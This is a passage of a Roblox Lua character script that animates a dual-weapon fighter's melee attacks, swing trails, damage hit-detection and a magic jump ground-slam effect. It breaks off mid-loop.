  3310. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3311. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3312. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3313. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3314. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3315. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3316. end
  3317. for i=0,1,0.005 do
  3318. swait()
  3319. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
  3320. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3321. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3322. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3323. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3324. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3325. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3326. end
  3327. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3328. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3329. for i=0,1,0.005 do
  3330. swait()
  3331. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3332. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3333. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3334. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3335. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3336. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3337. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3338. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3339. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3340. end
  3341. for i=0,1,0.04 do
  3342. swait()
  3343. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3344. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3345. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3346. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3347. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3348. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3349. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3350. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3351. end
  3352. --dmgstop()
  3353. attack=false
  3354. Humanoid.WalkSpeed = 12
  3355. if TrailDeb == true then
  3356. TrailDeb = false
  3357. end
  3358. end
  3359.  
  3360. function attackone()
  3361. attack=true
  3362. if TrailDeb == false then
  3363. TrailDeb = true
  3364. end
  3365.  
  3366.  
  3367. coroutine.wrap(function()
  3368. local Old = Handle.CFrame.p
  3369. while wait()do
  3370. if not TrailDeb then break end
  3371. local New = Handle.CFrame.p
  3372. local Mag =(Old -New).magnitude
  3373. local Dis =(Old +New)/2
  3374. local Trail = Instance.new("Part",Character)
  3375. Trail.Material = "Neon"
  3376. Trail.Anchored = true
  3377. Trail.CanCollide = false
  3378. Trail.BrickColor = TorsoColor
  3379. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3380. Trail.TopSurface = 0
  3381. Trail.BottomSurface = 0
  3382. Trail.formFactor = "Custom"
  3383. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3384. local ms = Instance.new("BlockMesh",Trail)
  3385. ms.Scale = Vector3.new(1,1,1)
  3386. local TM = Instance.new("CylinderMesh",Trail)
  3387. TM.Scale = Vector3.new(1,1,1)
  3388. Old = New
  3389. coroutine.wrap(function()
  3390. for i = 1,0,-0.1 do
  3391. wait()
  3392. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3393. end
  3394. Trail:remove()
  3395. end)()
  3396. coroutine.wrap(function()
  3397. for i = 1,10 do
  3398. wait()
  3399. Trail.Transparency = Trail.Transparency +0.1
  3400. end end)()end end)()
  3401. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3402. for i=0,1,0.08 do
  3403. swait()
  3404. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
  3405. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
  3406. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3407. Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  3408. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3409. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
  3410. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3411. end
  3412. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9)
  3413. so("http://www.roblox.com/asset/?id=159972643",Torso,1,1)
  3414. for i=0,1,0.1 do
  3415. swait()
  3416. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
  3417. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3418. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3419. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
  3420. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3421. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
  3422. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3423. end
  3424. --dmgstop()
  3425. attack=false
  3426. con1:disconnect()
  3427. if TrailDeb == true then
  3428. TrailDeb = false
  3429. end
  3430. end
  3431.  
  3432. function attacktwo()
  3433. attack=true
  3434. if TrailDeb == false then
  3435. TrailDeb = true
  3436. end
  3437.  
  3438.  
  3439. coroutine.wrap(function()
  3440. local Old = Handle2.CFrame.p
  3441. while wait()do
  3442. if not TrailDeb then break end
  3443. local New = Handle2.CFrame.p
  3444. local Mag =(Old -New).magnitude
  3445. local Dis =(Old +New)/2
  3446. local Trail = Instance.new("Part",Character)
  3447. Trail.Material = "Neon"
  3448. Trail.Anchored = true
  3449. Trail.CanCollide = false
  3450. Trail.BrickColor = TorsoColor
  3451. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3452. Trail.TopSurface = 0
  3453. Trail.BottomSurface = 0
  3454. Trail.formFactor = "Custom"
  3455. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3456. local ms = Instance.new("BlockMesh",Trail)
  3457. ms.Scale = Vector3.new(1,1,1)
  3458. local TM = Instance.new("CylinderMesh",Trail)
  3459. TM.Scale = Vector3.new(1,1,1)
  3460. Old = New
  3461. coroutine.wrap(function()
  3462. for i = 1,0,-0.1 do
  3463. wait()
  3464. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3465. end
  3466. Trail:remove()
  3467. end)()
  3468. coroutine.wrap(function()
  3469. for i = 1,10 do
  3470. wait()
  3471. Trail.Transparency = Trail.Transparency +0.1
  3472. end end)()end end)()
  3473. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3474. for i=0,1,0.08 do
  3475. swait()
  3476. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3477. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3478. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3479. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
  3480. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3481. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  3482. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3483. end
  3484. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  3485. so("http://www.roblox.com/asset/?id=159972627",Torso,1,1)
  3486. for i=0,1,0.1 do
  3487. swait()
  3488. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3489. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3490. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3491. Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
  3492. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3493. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3494. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3495. end
  3496. --dmgstop()
  3497. attack=false
  3498. con1:disconnect()
  3499. if TrailDeb == true then
  3500. TrailDeb = false
  3501. end
  3502. end
  3503.  
  3504. function attackthree()
  3505. attack=true
  3506. if TrailDeb == false then
  3507. TrailDeb = true
  3508. end
  3509.  
  3510.  
  3511. coroutine.wrap(function()
  3512. local Old = Handle.CFrame.p
  3513. while wait()do
  3514. if not TrailDeb then break end
  3515. local New = Handle.CFrame.p
  3516. local Mag =(Old -New).magnitude
  3517. local Dis =(Old +New)/2
  3518. local Trail = Instance.new("Part",Character)
  3519. Trail.Material = "Neon"
  3520. Trail.Anchored = true
  3521. Trail.CanCollide = false
  3522. Trail.BrickColor = TorsoColor
  3523. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3524. Trail.TopSurface = 0
  3525. Trail.BottomSurface = 0
  3526. Trail.formFactor = "Custom"
  3527. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3528. local ms = Instance.new("BlockMesh",Trail)
  3529. ms.Scale = Vector3.new(1,1,1)
  3530. local TM = Instance.new("CylinderMesh",Trail)
  3531. TM.Scale = Vector3.new(1,1,1)
  3532. Old = New
  3533. coroutine.wrap(function()
  3534. for i = 1,0,-0.1 do
  3535. wait()
  3536. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3537. end
  3538. Trail:remove()
  3539. end)()
  3540. coroutine.wrap(function()
  3541. for i = 1,10 do
  3542. wait()
  3543. Trail.Transparency = Trail.Transparency +0.1
  3544. end end)()end end)()
  3545. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end)
  3546. for i=0,1,0.08 do
  3547. swait()
  3548. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
  3549. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  3550. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3551. Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
  3552. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3553. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
  3554. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3555. end
  3556. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  3557. so("http://www.roblox.com/asset/?id=159882477",Torso,1,1)
  3558. for i=0,1,0.05 do
  3559. swait()
  3560. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  3561. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
  3562. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3563. Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
  3564. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3565. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
  3566. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3567. end
  3568. --dmgstop()
  3569. attack=false
  3570. con1:disconnect()
  3571. if TrailDeb == true then
  3572. TrailDeb = false
  3573. end
  3574. end
  3575.  
  3576. function attackfour()
  3577. attack=true
  3578. if TrailDeb == false then
  3579. TrailDeb = true
  3580. end
  3581.  
  3582.  
  3583. coroutine.wrap(function()
  3584. local Old = Handle2.CFrame.p
  3585. while wait()do
  3586. if not TrailDeb then break end
  3587. local New = Handle2.CFrame.p
  3588. local Mag =(Old -New).magnitude
  3589. local Dis =(Old +New)/2
  3590. local Trail = Instance.new("Part",Character)
  3591. Trail.Material = "Neon"
  3592. Trail.Anchored = true
  3593. Trail.CanCollide = false
  3594. Trail.BrickColor = TorsoColor
  3595. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3596. Trail.TopSurface = 0
  3597. Trail.BottomSurface = 0
  3598. Trail.formFactor = "Custom"
  3599. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3600. local ms = Instance.new("BlockMesh",Trail)
  3601. ms.Scale = Vector3.new(1,1,1)
  3602. local TM = Instance.new("CylinderMesh",Trail)
  3603. TM.Scale = Vector3.new(1,1,1)
  3604. Old = New
  3605. coroutine.wrap(function()
  3606. for i = 1,0,-0.1 do
  3607. wait()
  3608. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3609. end
  3610. Trail:remove()
  3611. end)()
  3612. coroutine.wrap(function()
  3613. for i = 1,10 do
  3614. wait()
  3615. Trail.Transparency = Trail.Transparency +0.1
  3616. end end)()end end)()
  3617. coroutine.wrap(function()
  3618. local Old = Handle.CFrame.p
  3619. while wait()do
  3620. if not TrailDeb then break end
  3621. local New = Handle.CFrame.p
  3622. local Mag =(Old -New).magnitude
  3623. local Dis =(Old +New)/2
  3624. local Trail = Instance.new("Part",Character)
  3625. Trail.Material = "Neon"
  3626. Trail.Anchored = true
  3627. Trail.CanCollide = false
  3628. Trail.BrickColor = TorsoColor
  3629. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3630. Trail.TopSurface = 0
  3631. Trail.BottomSurface = 0
  3632. Trail.formFactor = "Custom"
  3633. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3634. local ms = Instance.new("BlockMesh",Trail)
  3635. ms.Scale = Vector3.new(1,1,1)
  3636. local TM = Instance.new("CylinderMesh",Trail)
  3637. TM.Scale = Vector3.new(1,1,1)
  3638. Old = New
  3639. coroutine.wrap(function()
  3640. for i = 1,0,-0.1 do
  3641. wait()
  3642. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3643. end
  3644. Trail:remove()
  3645. end)()
  3646. coroutine.wrap(function()
  3647. for i = 1,10 do
  3648. wait()
  3649. Trail.Transparency = Trail.Transparency +0.1
  3650. end end)()end end)()
  3651. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3652. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3653. for i=0,1,0.08 do
  3654. swait()
  3655. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3656. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3657. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3658. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3659. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3660. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3661. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3662. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3663. end
  3664. if anim then
  3665. anim.Disabled=true
  3666. end
  3667. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7)
  3668. so("http://www.roblox.com/asset/?id=159882584",Torso,1,1)
  3669. for i=0,1,0.04 do
  3670. swait()
  3671. Torso.Velocity=RootPart.CFrame.lookVector*50
  3672. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
  3673. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3674. Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3675. Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3676. RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3677. LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3678. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3679. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3680. end
  3681. --dmgstop()
  3682. attack=false
  3683. con1:disconnect()
  3684. con2:disconnect()
  3685. if anim then
  3686. anim.Disabled=false
  3687. end
  3688. if TrailDeb == true then
  3689. TrailDeb = false
  3690. end
  3691. end
  3692.  
  3693. function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
  3694. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3695. prt.Anchored = true
  3696. prt.CFrame = cframe
  3697. local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
  3698. coroutine.resume(coroutine.create(function()
  3699. for i = 0, 1, 0.05 do
  3700. wait()
  3701. prt.Transparency = i
  3702. msh.Scale = msh.Scale + vt(x2, y2, z2)
  3703. end
  3704. prt.Parent = nil
  3705. end))
  3706. end
  3707.  
  3708. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  3709. for _, c in pairs(workspace:children()) do
  3710. local hum = c:findFirstChild("Humanoid")
  3711. if hum ~= nil then
  3712. local head = c:findFirstChild("Torso")
  3713. if head ~= nil then
  3714. local targ = head.Position - Part.Position
  3715. local mag = targ.magnitude
  3716. if mag <= magni and c.Name ~= Player.Name then
  3717. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  3718. end
  3719. end
  3720. end
  3721. end
  3722. end
  3723.  
  3724. function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3725. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3726. prt.Anchored = true
  3727. prt.CFrame = cframe
  3728. local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
  3729. game:GetService("Debris"):AddItem(prt, 2)
  3730. coroutine.resume(coroutine.create(function(Part, Mesh)
  3731. for i = 0, 1, delay do
  3732. swait()
  3733. Part.CFrame = Part.CFrame
  3734. Part.Transparency = i
  3735. Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
  3736. end
  3737. Part.Parent = nil
  3738. end), prt, msh)
  3739. end
  3740.  
  3741. function MagicJump()
  3742. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  3743. attack=true
  3744. mana=mana-25
  3745. --[[ Humanoid.WalkSpeed = 0
  3746. for i=0,1,0.01 do
  3747. swait()
  3748. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
  3749. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
  3750. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  3751. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
  3752. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
  3753. RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
  3754. LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
  3755. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
  3756. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
  3757. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
  3758. end]]--
  3759. Humanoid.Jump = true
  3760. Torso.Velocity = vt(0, 150, 0)
  3761. Humanoid.WalkSpeed = 64
  3762. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3763. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3764. for i=0,1,0.05 do
  3765. swait()
  3766. Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
  3767. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3768. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
  3769. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3770. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  3771. RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  3772. LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  3773. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  3774. Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
  3775. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
  3776. end
  3777. for i=0,1,0.02 do
  3778. swait()
  3779. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  3780. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3781. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  3782. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  3783. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3784. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  3785. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3786. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  3787. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  3788. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3789. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3790. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3791. end
  3792. Humanoid.WalkSpeed = 0
  3793. swait(8)
  3794. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3795. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3796. local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
  3797. if hit~=nil then
  3798. swait(2)
  3799. local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt())
  3800. ref.Anchored=true
  3801. ref.CFrame=cf(pos)
  3802. game:GetService("Debris"):AddItem(ref,3)
  3803. for i=1,10 do
  3804. local Col=BrickColor.new("Really black")
  3805. local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3806. groundpart.Anchored=true
  3807. groundpart.CanCollide=false
  3808. groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3809. local Col2=TorsoColor
  3810. local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3811. groundpart2.Anchored=true
  3812. groundpart2.CanCollide=false
  3813. groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3814. game:GetService("Debris"):AddItem(groundpart,5)
  3815. game:GetService("Debris"):AddItem(groundpart2,5)
  3816. end
  3817. BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
  3818. BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
  3819. MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05)
  3820. MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
  3821. for i=0,1,0.06 do
  3822. swait()
